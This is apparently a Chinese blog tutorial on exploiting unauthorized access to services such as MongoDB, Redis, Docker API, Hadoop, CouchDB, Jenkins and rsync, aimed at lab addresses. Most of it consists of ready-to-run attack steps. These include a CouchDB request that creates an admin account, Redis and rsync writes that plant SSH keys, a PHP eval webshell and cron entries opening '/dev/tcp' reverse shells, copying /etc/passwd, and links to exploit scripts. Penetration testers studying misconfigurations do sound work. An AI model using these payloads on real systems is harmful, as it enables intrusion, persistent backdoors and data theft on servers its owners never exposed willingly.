未授權(quán)訪問漏洞的測試

一、MongoDB

MongoDB默認(rèn)端口27017,當(dāng)配置成無驗證時,存在未授權(quán)訪問,使用msf中的scanner/mongodb/mongodb_login模塊進(jìn)行測試,使用navicat連接獲取數(shù)據(jù)庫中的內(nèi)容。

use auxiliary/scanner/mongodb/mongodb_login
set rhosts 192.168.90.0/24
set threads 10
exploit
image.png

二、nfs

nfs默認(rèn)端口2049,配置不當(dāng)時,可以遠(yuǎn)程掛載nfs的共享目錄。

apt install nfs-common 安裝nfs客戶端
showmount -e 192.168.70.162 查看nfs服務(wù)器上的共享目錄
mount -t nfs 192.168.70.162:/grdata /mnt 掛載到本地
umount /mnt 卸載目錄
image.png

三、ZooKeeper

ZooKeeper是一個分布式的,開放源碼的應(yīng)用程序協(xié)調(diào)服務(wù),默認(rèn)端口2181,在未進(jìn)行任何訪問控制的情況下,存在未授權(quán)訪問漏洞。

echo envi|nc 192.168.80.196 2181 列出服務(wù)環(huán)境有關(guān)的信息
echo stat|nc 192.168.80.196 2181 列出關(guān)于性能和連接的客戶端統(tǒng)計信息
image.png

四、Memcache

memcache是一套分布式的高速緩存系統(tǒng),它以Key-Value(鍵值對)形式將數(shù)據(jù)存儲在內(nèi)存中,默認(rèn)開放11211端口,使用nmap的腳本進(jìn)行掃描。

nmap 192.168.70.129 -p11211 --script="memcached-info.nse"
image.png

使用nc連接獲取敏感信息

  • stats 查看memcache 服務(wù)狀態(tài)
  • stats items 查看所有items
image.png

五、Elasticsearch

Elasticsearch是用Java開發(fā)的企業(yè)級搜索引擎,默認(rèn)端口9200,存在未授權(quán)訪問漏洞時,可被非法操作數(shù)據(jù)。

http://192.168.80.126:9200/_plugin/head/  web管理界面
http://192.168.80.126:9200/_cat/indices  查看集群當(dāng)前狀態(tài)
http://192.168.80.126:9200/_nodes  查看節(jié)點數(shù)據(jù)
http://192.168.80.126:9200/_river/_search  查看數(shù)據(jù)庫敏感信息
image.png

六、docker

該未授權(quán)訪問漏洞是因為docker remote api可以執(zhí)行docker命令,該接口的目的是取代docker命令界面,通過url操作docker。docker swarm是用來管理docker集群的,在開放2375端口監(jiān)聽集群容器時,會調(diào)用這個api。

#安裝類庫
pip install -r requirements.txt
#查看運行的容器
python dockerRemoteApiGetRootShell.py -h 192.168.80.221 -p 2375
#查看所有的容器
python dockerRemoteApiGetRootShell.py -h 192.168.80.221 -p 2375 -a
#查看端口映射
python dockerRemoteApiGetRootShell.py -h 192.168.80.221 -p 2375 -L
#在容器中執(zhí)行命令
python dockerRemoteApiGetRootShell.py -h 192.168.80.221 -p 2375 -e "whoami" -I 容器id
#查看服務(wù)端api版本
python dockerRemoteApiGetRootShell.py -h 192.168.80.221 -p 2375 -V

image.png

工具:https://github.com/Tycx2ry/docker_api_vul

七、Hadoop

Hadoop是一個由Apache基金會所開發(fā)的分布式系統(tǒng)基礎(chǔ)架構(gòu),Hadoop YARN ResourceManager WebUI頁面如下:

image.png

在沒有 hadoop client 的情況下,直接通過 REST API也可以提交任務(wù)執(zhí)行。利用過程如下:

  • 在本地監(jiān)聽等待反彈 shell 連接
  • 調(diào)用 New Application API 創(chuàng)建 Application
  • 調(diào)用 Submit Application API 提交
image.png

工具:https://github.com/vulhub/vulhub/blob/master/hadoop/unauthorized-yarn/exploit.py

八、CouchDB

CouchDB是一個使用JSON作為存儲格式,JavaScript作為查詢語言,MapReduce和HTTP作為API的NoSQL數(shù)據(jù)庫,2017年時被爆出了2個CVE:

  • CVE-2017-12635垂直權(quán)限繞過
    發(fā)送如下數(shù)據(jù)包,可成功創(chuàng)建管理員用戶,賬戶密碼均為vulhub,web界面登錄地址為:http://192.168.70.45:5984/_utils/
PUT /_users/org.couchdb.user:vulhub HTTP/1.1
Host: 192.168.70.45:5984
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 108

{
  "type": "user",
  "name": "vulhub",
  "roles": ["_admin"],
  "roles": [],
  "password": "vulhub"
}
image.png
  • CVE-2017-12636任意命令執(zhí)行
    Couchdb 2.x和1.x的API接口有一定區(qū)別,所以這個漏洞的利用方式也不同。使用以下exp,修改其中的target和command為你的測試機(jī)器,然后修改version為對應(yīng)的Couchdb版本(1或2),可成功反彈shell。
image.png

工具:https://github.com/vulhub/vulhub/blob/master/couchdb/CVE-2017-12636/exp.py

九、Redis

Redis安裝完成后,默認(rèn)是沒有賬號密碼的,如果配置不當(dāng)可能造成未授權(quán)訪問漏洞。主要有以下三種利用方式:

  1. 寫ssh公鑰,需要root權(quán)限
    利用過程:
ssh-keygen -t rsa  生成ssh公鑰和私鑰
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt  將公鑰保存成key.txt
cat /root/.ssh/key.txt | redis-cli -h 192.168.80.44 -x set xxx  寫入redis
redis-cli -h 192.168.80.44  連接redis
config set dir /root/.ssh  設(shè)置寫文件的目錄
config set dbfilename authorized_keys  設(shè)置寫入的文件名
save

使用ssh遠(yuǎn)程登錄:

ssh root@192.168.80.44 -p 22622
  1. 寫定時任務(wù),需要root權(quán)限
    利用過程:
redis-cli -h 192.168.80.44
set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.40.155/4444 0>&1\n\n"
config set dir /var/spool/cron  設(shè)置寫文件的目錄
config set dbfilename root  設(shè)置寫入的文件名
save

使用nc接收shell:

nc -nvvlp 4444

補(bǔ)充:可利用cron的位置

/etc/crontab
/etc/cron.d/
/var/spool/cron/root為centos系統(tǒng)root用戶的cron文件
/var/spool/cron/crontabs/root為debian系統(tǒng)root用戶的cron文件
  1. 寫webshell,需要知道web路徑
    利用過程:
redis-cli -h 192.168.80.44
config set dir /var/www/html
set xxx "\n\n\n<?php@eval($_POST['c']);?>\n\n\n"
config set dbfilename webshell.php
save

4.利用主從復(fù)制getshell
root用戶會收到root的shell,redis用戶會收到redis的shell。

git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand
cd RedisModules-ExecuteCommand/
make
git clone https://github.com/Ridter/redis-rce
python redis-rce.py -r 192.168.80.147 -L 192.168.80.166 -f module.so
image.png
nc -nvvlp 81 服務(wù)器上監(jiān)聽81端口
image.png

5.Windows下如何getshell?

  • 寫入webshell,需要知道web路徑
  • 寫入啟動項,需要目標(biāo)服務(wù)器重啟
  • 寫入MOF,MOF每隔5秒鐘會自動執(zhí)行一次,適用于Windows2003。

補(bǔ)充:redis常用命令

info、keys *、set animal 'Cat'、get animal、del animal、config get dir、config get dbfilename

十、Jenkins

默認(rèn)情況下 Jenkins 面板中可以使用腳本命令行,攻擊者通過未授權(quán)訪問漏洞執(zhí)行系統(tǒng)命令從而獲取服務(wù)器的權(quán)限。

http://www.example.com:8080/manage
http://www.example.com:8080/script
  • 執(zhí)行系統(tǒng)命令:println "ls".execute().text
image.png
  • 反彈shell
image.png

十一、rsync

  • 查看模塊名列表
root@kali:~# nmap 192.168.80.201 -p 873 -n -Pn --script="rsync-list-modules.nse"
root@kali:~# rsync rsync://192.168.80.201:873/
image.png
  • 查看模塊下的文件
root@kali:~# rsync rsync://192.168.80.201:873/src/
image.png
  • 下載任意文件
root@kali:~# rsync -av rsync://192.168.80.201:873/src/etc/passwd ./
  • 通過寫文件getshell
  1. 寫入webshell
root@kali:~# rsync -av webshell.php rsync://192.168.80.201:873/src/var/webshell.php
  1. 寫入定時任務(wù)
    首先查看當(dāng)前有哪些定時任務(wù):
root@kali:~# rsync -av rsync://192.168.80.201:873/src/etc/crontab ./
root@kali:~# cat crontab 
image.png

然后創(chuàng)建一個shell文件

root@kali:~# vim shell

#!/bin/bash 
/bin/bash -i >& /dev/tcp/192.168.80.221/4444 0>&1

root@kali:~# chmod +x shell

最后將shell文件寫入定時任務(wù)(注意每小時的第17分鐘會執(zhí)行)

root@kali:~# rsync -av shell rsync://192.168.80.201:873/src/etc/cron.hourly
image.png

參考:

https://vulhub.org
https://paper.seebug.org/409/#0x02-redis
https://xz.aliyun.com/t/2320#toc-42

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容